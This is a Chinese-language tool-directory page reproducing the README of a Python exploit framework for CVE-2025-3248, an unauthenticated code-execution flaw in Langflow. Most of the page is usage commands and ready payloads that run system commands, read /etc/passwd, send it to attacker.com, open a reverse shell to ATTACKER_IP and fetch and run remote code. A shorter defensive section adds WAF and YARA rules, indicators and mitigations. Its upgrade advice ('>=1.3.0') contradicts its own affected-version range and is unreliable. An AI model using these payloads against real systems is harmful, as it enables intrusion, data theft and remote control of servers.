Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
cve-2025-3248-exploit — 一个全面的 Python 漏洞利用框架,用于测试和演示 CVE-2025-3248,这是 Langflow 版本 ≤ 1.3.0 中的一个关键的未经认证的远程代码执行漏洞。 | Kitploit
工具/GitHubGitHub/drackyjr/cve-2025-3248-exploit
漏洞扫描器代码分析漏洞利用Web应用程序漏洞利用信息收集后渗透利用渗透测试命令与控制学习与教育红队Payload 开发
3910个月前尚未审核
GitHub
drackyjr/cve-2025-3248-exploit

cve-2025-3248-exploit

一个全面的 Python 漏洞利用框架,用于测试和演示 CVE-2025-3248,这是 Langflow 版本 ≤ 1.3.0 中的一个关键的未经认证的远程代码执行漏洞。

查看仓库

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-3248: Langflow 未授权远程代码执行漏洞扫描器

License Python Status CVSS EPSS

一个全面的 Python 利用框架,用于测试和演示 CVE-2025-3248,该漏洞是 Langflow 版本 ≤ 1.3.0 中的一个严重未授权远程代码执行漏洞。


🔴 漏洞概述

CVE-2025-3248: Langflow 代码注入远程代码执行

属性值
CVE IDCVE-2025-3248
产品Langflow
受影响版本≤ 1.3.0
漏洞类型未授权远程代码执行(RCE)
攻击向量网络
需要认证无
CVSS 评分9.8(严重)
EPSS 评分92.57%
CWECWE-94(代码生成控制不当)
漏洞端点/api/v1/validate/code

根本原因

该漏洞存在于 /api/v1/validate/code API 端点,该端点接受任意 Python 代码,并使用 Python 不安全的 exec() 函数进行验证,但未进行适当的输入清理或沙箱隔离。该漏洞利用 Python 的以下行为:

  1. 装饰器在函数定义时立即被求值
  2. 默认参数值在抽象语法树(AST)解析期间被执行
  3. 没有输入验证来阻止恶意代码执行

攻击链

攻击者 → POST /api/v1/validate/code → Python exec() → 远程代码执行
     ↓
   无需认证
     ↓
   任意 Python 代码
     ↓
   系统命令执行

✨ 功能特性

  • ✅ 端点检测:自动识别易受攻击的 Langflow 实例
  • ✅ 多阶段测试:4 个渐进的漏洞测试
  • ✅ 命令执行:在目标上执行任意系统命令
  • ✅ 环境提取:检索环境变量和配置
  • ✅ 文件操作:测试文件读写能力
  • ✅ 反向 Shell 支持:生成交互式反向 Shell 会话
  • ✅ 版本检测:识别 Langflow 版本信息
  • ✅ 彩色输出:通过终端颜色增强可读性
  • ✅ 超时管理:可配置的请求超时
  • ✅ SSL/TLS 绕过:支持自签名证书

📦 运行环境要求

Python >= 3.7
requests >= 2.25.0

安装依赖

pip install requests

可选(用于更好的日志记录)

pip install colorama  # 用于 Windows 颜色支持

🚀 安装

方法 1:从 GitHub 克隆

git clone https://github.com/drackyjr/cve-2025-3248-exploit.git
cd cve-2025-3248-exploit
pip install -r requirements.txt
chmod +x cve_2025_3248_test.py

📖 使用方法

基本语法

python3 cve_2025_3248_test.py -t <目标地址> [选项]

快速启动示例

1. 基本漏洞扫描

python3 cve_2025_3248_test.py -t http://target.com

2. 执行自定义命令

python3 cve_2025_3248_test.py -t http://target.com -c "whoami"

3. 执行多条命令

python3 cve_2025_3248_test.py -t http://target.com -c "cat /etc/passwd"

4. 反向 Shell 利用(仅限授权测试)

步骤 1: 在您的机器上启动 netcat 监听器

nc -lvnp 4444

步骤 2: 运行利用工具

python3 cve_2025_3248_test.py -t http://target.com --exploit --lhost 你的IP --lport 4444

示例:

python3 cve_2025_3248_test.py -t http://192.168.1.100:7860 --exploit --lhost 192.168.1.50 --lport 4444

5. 使用自定义超时扫描

python3 cve_2025_3248_test.py -t http://target.com --timeout 30

命令行参数

位置参数:
  无

可选参数:
  -t, --target TARGET       目标 URL(例如,http://target.com)[必需]
  -c, --command COMMAND     要执行的命令(默认:id)
  --timeout TIMEOUT         请求超时秒数(默认:10)
  --exploit                 启用利用模式(反向 Shell)
  --lhost LHOST             用于反向 Shell 的您的 IP 地址
  --lport LPORT             用于反向 Shell 的您的端口
  -h, --help                显示此帮助信息

💾 Payload 变体

1. 基于装饰器的执行

payload = {
    "code": """
@exec("import os; os.system('whoami')")
def vulnerable_function():
    pass
"""
}

2. 默认参数执行

payload = {
    "code": """
def test(arg=exec("__import__('subprocess').check_output(['id'])")):
    pass
"""
}

3. 数据窃取

payload = {
    "code": """
def test(x=exec("import requests; requests.post('http://attacker.com/exfil', data=open('/etc/passwd').read())")):
    pass
"""
}

4. 反向 Shell(单行)

payload = {
    "code": """
def shell(x=exec("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ATTACKER_IP',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/sh','-i'])")):
    pass
"""
}

5. 文件读取操作

payload = {
    "code": """
def read_file(x=exec("print(open('/etc/passwd').read())")):
    pass
"""
}

6. 环境变量枚举

payload = {
    "code": """
def enum_env(x=exec("import os; print('\\n'.join([f'{k}={v}' for k,v in os.environ.items()]))")):
    pass
"""
}

7. 下载并执行

payload = {
    "code": """
def download_exec(x=exec("import urllib.request; exec(urllib.request.urlopen('http://attacker.com/payload.py').read())")):
    pass
"""
}

🔍 检测与缓解

针对防御者

立即行动

  1. 升级 Langflow

    pip install langflow>=1.3.0
    # 或
    docker pull langflow:latest
    
  2. 限制网络访问

    # Nginx 反向代理 - 阻止易受攻击的端点
    location /api/v1/validate/code {
        deny all;
    }
    
  3. 实施认证

    # 添加认证中间件
    @app.middleware("http")
    async def auth_middleware(request, call_next):
        if "/api/v1/validate/code" in request.url.path:
            if not verify_auth(request):
                return JSONResponse(status_code=401)
        return await call_next(request)
    

WAF 规则

ModSecurity 规则:

SecRule ARGS:code "@contains exec" "id:1001,phase:2,deny"
SecRule ARGS:code "@contains subprocess" "id:1002,phase:2,deny"
SecRule ARGS:code "@contains __import__" "id:1003,phase:2,deny"
SecRule ARGS:code "@contains os.system" "id:1004,phase:2,deny"

检测规则

YARA 签名:

rule CVE_2025_3248_Langflow_RCE {
    strings:
        $api_path = "/api/v1/validate/code"
        $exec = "exec("
        $subprocess = "subprocess"
        $os_system = "os.system"
    condition:
        $api_path and any of ($exec, $subprocess, $os_system)
}

监控与日志记录

# 监控可疑请求
tail -f /var/log/nginx/access.log | grep "/api/v1/validate/code"

# 对易受攻击端点的 POST 请求发出警报
auditctl -w /var/lib/langflow -p wa -k langflow_changes

入侵指标(IoCs)

  • 对 /api/v1/validate/code 的异常 POST 请求
  • 从 Langflow 产生的具有可疑名称的进程
  • 来自 Langflow 服务器的意外出站连接
  • 在 /tmp 中创建了时间戳异常的文件
  • 从 Langflow 进程执行的 Python 子进程
  • 认证失败后跟随 API 请求
  • Langflow 容器 CPU/内存使用量激增

🔬 技术分析

漏洞工作原理

漏洞链的工作原理如下:

# 攻击者发送此 Payload:
POST /api/v1/validate/code HTTP/1.1
Content-Type: application/json

{
    "code": "def func(x=exec('import os; os.system(\"whoami\")')): pass"
}

# 服务器处理它:
exec(code)  # ← 危险!没有清理

# 在 AST 解析期间,默认参数被求值:
# exec('import os; os.system("whoami")')

# 结果:任意命令执行

为何装饰器有效

Python 在函数定义时对装饰器的行为:

# 此代码会立即执行:
@decorator_expression
def my_function():
    pass

# 这意味着此 Payload 会执行代码:
@exec("malicious_code_here")
def vulnerable_function():
    pass

为何它是严重漏洞

  1. 无需认证:任何人都可以访问该端点
  2. 网络可访问:可以远程利用
  3. 完全系统访问:以 Langflow 进程权限执行
  4. 无输入验证:直接执行代码
  5. 广泛部署:在生产环境中使用
  6. 高度可利用性:已有公开 PoC

📊 漏洞时间线

日期事件
2025-04-06发现漏洞并报告给 Langflow 团队
2025-04-17公开利用发布(Exploit-DB)
2025-05-14FortiguardLabs 爆发警报发布
2025-05-21Zscaler ThreatLabz 分析发布
2025-05-22RecordedFuture 报告活跃利用
2025-06-16TrendMicro 报告 FLODRIC 僵尸网络利用
2025-06-17OffSec 综合分析发布
2025-11-05SentinelOne 漏洞数据库条目
2025-11-20观察到持续的利用尝试

🛡️ 防御性测试检查清单

在进行授权的安全测试时:

  • 在测试前获得书面授权
  • 记录所有测试活动
  • 尽可能使用隔离的测试环境
  • 避免不必要地利用生产系统
  • 清理测试期间创建的任何工件(文件、进程)
  • 负责任地向目标组织报告发现
  • 遵循负责任的披露实践
  • 对测试结果保密

📚 参考资料

  • OffSec 博客:CVE-2025-3248 分析
  • SentinelOne:Langflow 代码注入远程代码执行
  • Zscaler ThreatLabz:CVE-2025-3248 远程代码执行漏洞
  • TrendMicro:FLODRIC 僵尸网络利用
  • RecordedFuture:活跃利用报告
  • Exploit-DB:Langflow 1.3.0 远程代码执行
  • GitHub Advisories:GHSA-c995-4fw3-j39m


🤝 贡献

欢迎贡献!请遵循以下指南:

下载工具